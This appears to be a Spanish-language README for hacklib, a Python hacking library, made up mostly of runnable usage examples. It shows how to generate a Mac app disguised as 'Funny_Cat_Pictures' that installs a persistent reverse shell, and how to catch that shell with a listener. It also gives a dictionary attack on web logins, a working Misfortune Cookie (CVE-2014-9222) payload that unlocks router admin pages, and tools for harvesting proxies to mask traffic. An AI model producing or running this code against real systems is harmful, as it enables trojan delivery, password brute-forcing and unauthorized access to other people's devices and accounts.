
hacklib - pentesting, escaneo de puertos e inicio de sesión en cualquier lugar con Python
hacklib es un módulo de Python para entusiastas del hacking interesados en la seguridad de redes. Ya no está en desarrollo activo.
Para obtener hacklib, simplemente ejecuta en la línea de comandos:
pip install hacklib
hacklib también tiene una interfaz de usuario. Para usarla, puedes hacer una de las siguientes opciones:
Descargar hacklib.py y ejecutar en la consola:
python hacklib.py
----------------------------------------------
Hey. ¿En qué puedo ayudarte?
Ingresa el número correspondiente a tu elección.
1) Conectarse a un proxy
2) Apuntar a una IP o URL
3) Escaneo LAN
4) Crear backdoor
5) Servidor
6) Salir
O si lo obtuviste mediante pip:
import hacklib
hacklib.userInterface()
Backdoor de reverse shell (actualmente solo para Macs):
import hacklib
bd = hacklib.Backdoor()
# Genera una app que, al ejecutarse, instala una reverse shell persistente en el sistema.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Toma la IP y puerto del servidor de comandos, el SO del objetivo y el nombre de la .app
App generada:
Escuchar conexiones con el Servidor:
>>> import hacklib
>>> s = hacklib.Server(9090) # Vincula el servidor al puerto 9090
>>> s.listen()
Nueva conexión ('127.0.0.1', 50011) # El objetivo ejecutó la app (la conexión se reintenta cada 60 segundos)
bash: no hay control de trabajos en este shell
bash$ whoami # Escribe un comando
leon
bash$ # ¡Bien!
Cliente de inicio de sesión universal para casi todos los formularios de inicio de sesión HTTP/HTTPS y autenticación HTTP Basic:
import hacklib
ac = hacklib.AuthClient()
# Iniciando sesión en una cuenta de gmail
htmldata = ac.login('https://gmail.com', 'email', 'password')
# Verificar si hay una cadena en la página resultante
if 'Inbox' in htmldata: print 'Inicio de sesión exitoso.'
else: print 'Inicio de sesión fallido.'
# Para inicios de sesión usando HTTP Basic Auth:
try:
htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
except: pass # inicio de sesión fallido
Ataque de diccionario simple usando AuthClient:
import hacklib
ac = hacklib.AuthClient()
# Obtener las 100 contraseñas más comunes
passwords = hacklib.topPasswords(100)
for p in passwords:
htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
if htmldata and 'welcome' in htmldata.lower():
print 'La contraseña es', p
break
Escaneo de puertos:
from hacklib import *
ps = PortScanner()
ps.scan(getIP('yourwebsite.com'))
# Por defecto escanea los primeros 1024 puertos. Usa ps.scan(IP, port_range=(n1, n2), timeout=i) para cambiar los valores por defecto
# Después de un escaneo, los puertos abiertos se guardan dentro de ps para referencia
if ps.portOpen(80):
# Establece un flujo TCP y envía un mensaje
send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')
Explotación de Misfortune Cookie (CVE-2014-9222) usando PortScanner:
>>> import hacklib
# Descubrimiento
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Puerto 80:
HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# El banner del puerto 80 nos muestra que el servidor usa RomPager 4.07. Esta versión es explotable.
# Explotación
>>> payload = '''GET / HTTP/1.0\r\n
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
>>> hacklib.send('192.168.1.1', 80, payload)
# La cookie reemplazó la asignación de memoria del firmware para la autenticación web con un byte nulo.
# Ahora la página de administración del router es completamente accesible desde cualquier navegador web.
Autenticación FTP:
import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
try:
ftp.login('username', 'password')
except:
print 'Inicio de sesión fallido.'
Recolección y tunelización de proxies Socks4/5
>>> import hacklib
>>> import urllib2
>>> proxylist = hacklib.getProxies() # recolecta proxies socks añadidos recientemente de internet
>>> proxy = hacklib.Proxy()
>>> proxy.connect(proxylist) # encuentra y se conecta automáticamente a un proxy funcional en proxylist
>>> proxy.IP
u'41.203.214.58'
>>> proxy.port
65000
>>> proxy.country
u'KE'
# Toda la actividad de red de Python a través de todos los módulos se enruta a través del proxy:
>>> urllib2.urlopen('http://icanhazip.com/').read()
'41.203.214.58\n'
# Notas: Solo la actividad de red a través de Python queda enmascarada por el proxy.
# La actividad de red en otros programas, como tu navegador web, permanece sin enmascarar.
# Para filtrar proxies por país y tipo:
# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')
Mangling de palabras:
from hacklib import *
word = Mangle("Test", 0, 10, 1990, 2016)
word.Leet()
word.Numbers()
word.Years()
Salida:
T3$t
Test0
0Test
...snip...
Test10
10Test
Test1990
1990Test
...snip...
Test2016
2016Test
Creación de patrones:
from hacklib import *
Pattern = PatternCreate(100)
Pattern.generate()
Salida:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Offset de patrón:
from hacklib import *
Offset = PatternOffset("6Ab7")
Offset.find()
Salida:
[+] Offset: 50
No todas las clases tienen dependencias externas, pero por si acaso puedes hacer lo siguiente:
hacklib.installDependencies()